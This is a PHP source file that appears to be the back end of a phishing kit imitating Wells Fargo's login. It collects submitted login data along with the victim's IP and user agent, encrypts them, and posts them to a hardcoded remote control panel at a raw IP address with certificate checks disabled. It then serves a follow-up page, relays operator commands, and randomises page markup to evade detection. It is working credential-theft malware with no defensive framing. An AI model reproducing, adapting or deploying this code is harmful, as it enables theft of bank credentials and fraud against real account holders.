
<?
error_reporting(0);
function getRealIpAddrAF() { if ((!empty($_SERVER['GEOIP_ADDR'])) && (($_SERVER['GEOIP_ADDR'])<>'127.0.0.1')) {$ip=$_SERVER['GEOIP_ADDR'];} elseif ((!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) && (($_SERVER['HTTP_X_FORWARDED_FOR'])<>'127.0.0.1') && (($_SERVER['HTTP_X_FORWARDED_FOR'])<>($_SERVER['SERVER_ADDR']))) {$ip=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR'])[0];} elseif ((!empty($_SERVER['HTTP_CLIENT_IP'])) && (($_SERVER['HTTP_CLIENT_IP'])<>'127.0.0.1') && (($_SERVER['HTTP_CLIENT_IP'])<>($_SERVER['SERVER_ADDR']))) {$ip=$_SERVER['HTTP_CLIENT_IP'];} elseif ((!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) && (($_SERVER['HTTP_CF_CONNECTING_IP'])<>'127.0.0.1') && (($_SERVER['HTTP_CF_CONNECTING_IP'])<>($_SERVER['SERVER_ADDR']))) {$ip=$_SERVER['HTTP_CF_CONNECTING_IP'];} else {$ip=$_SERVER['REMOTE_ADDR'];} return $ip; }

$ip = getRealIpAddrAF();

session_start();

$path = "https://76.13.119.148/adm007/";
$secret = "DGhtuk6i68ufnTnvmtyhe3szs";

error_reporting(0);
if($_GET["go"] == 1){
?>
<a href="https://wellsfargo.com" style="display:none;" rel="noreferrer" id="autoclick">Link</a>
<script>document.getElementById('autoclick').click();</script>
  <?
}
if($_POST["command"] == "getCommand"){
  
  $data = (fnEncrypt(serialize($_POST), $secret)); 

  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $path); 
  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  curl_setopt($ch, CURLOPT_POST, 1);
  curl_setopt($ch, CURLOPT_POSTFIELDS, "data=".$data);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  $command = curl_exec($ch);
  
  $arCommand = json_decode($command);
  
  echo $command;
  
  curl_close ($ch);
  
  exit;
}
elseif($_POST["command"] == "ping"){
  
  $data = (fnEncrypt(serialize($_POST), $secret)); 

  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $path); 
  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  curl_setopt($ch, CURLOPT_POST, 1);
  curl_setopt($ch, CURLOPT_POSTFIELDS, "data=".$data);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  $command = curl_exec($ch);
  
  $arCommand = json_decode($command);
  
  echo $command;
  
  curl_close ($ch);
  
  exit;
}
elseif($_POST["command"] == "sendData"){
  
  $data = (fnEncrypt(serialize($_POST), $secret)); 

  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $path); 
  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  curl_setopt($ch, CURLOPT_POST, 1);
  curl_setopt($ch, CURLOPT_POSTFIELDS, "data=".$data);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  $command = curl_exec($ch);
  
  $arCommand = json_decode($command);
  
  echo $command;
  
  curl_close ($ch);
  
  exit;
}
elseif($_POST["login"] != false){
    $_POST["command"] = "step1";
    $_POST["service"] = "wells";
    $_POST["user-agent"] = $_SERVER["HTTP_USER_AGENT"];
    $_POST["ip"] = $_SERVER["REMOTE_ADDR"];

    $data = (fnEncrypt(serialize($_POST), $secret)); 

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $path); 
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "data=".$data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $server_output = curl_exec($ch);
    
    curl_close ($ch);
    include(dirname(__FILE__)."/res/fa.php");
}
else{
    include(dirname(__FILE__)."/res/login.php");
}
function includeObfus($file)
{
$t1 = str_replace('<div','<div '.getName(rand(2,29)).'="'.getName(rand(2,29)).'"',file_get_contents($file));
$t1 = str_replace('<meta','<meta '.getName(rand(2,29)).'="'.getName(rand(2,29)).'"', $t1);
//$t1 = str_replace('href="','href="http://#', $t1);
$t1 = str_replace('<ul','<ul '.getName(rand(2,29)).'="'.getName(rand(2,29)).'"', $t1);
$t1 = str_replace('<link','<link '.getName(rand(2,29)).'="'.getName(rand(2,29)).'"', $t1);
$t1 = str_replace('<style','<style '.getName(rand(2,29)).'="'.getName(rand(2,29)).'"', $t1);
$t1 = str_replace('<li>','<li '.getName(rand(2,29)).'="'.getName(rand(2,29)).'">', $t1);
$t1 = str_replace('<script','<script '.getName(rand(2,29)).'="'.getName(rand(2,29)).'"', $t1);
$t1 = str_replace('<h3','<h3 '.getName(rand(2,29)).'="'.getName(rand(2,29)).'"', $t1);
$t1 = str_replace('<p>','<p '.getName(rand(2,29)).'="'.getName(rand(2,29)).'">', $t1);
$t1 = str_replace('data-savepage-href',getName(rand(2,29)), $t1);

print_r($t1);
}

function generateRandomDiv()
{
?>
<Div style="display:none;">
<?
for($i=0;$i<=rand(2,30);$i++){
echo getName(rand(2000,3000))."<br />";
}
?>
</div>
<?
}

function getName($n) { 
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; 
    $randomString = ''; 
  
    for ($i = 0; $i < $n; $i++) { 
        $index = rand(0, strlen($characters) - 1); 
        $randomString .= $characters[$index]; 
    } 
  
    return $randomString; 
} 

function fnEncrypt($sValue, $sSecretKey)
{
$ivlen = openssl_cipher_iv_length($cipher="AES-128-CBC");
$iv = openssl_random_pseudo_bytes($ivlen);
$ciphertext_raw = openssl_encrypt($sValue, $cipher, $sSecretKey, $options=OPENSSL_RAW_DATA, $iv);
$hmac = hash_hmac('sha256', $ciphertext_raw, $sSecretKey, $as_binary=true);
$ciphertext = base64_encode( $iv.$hmac.$ciphertext_raw );
return rtrim($ciphertext);
}

?>
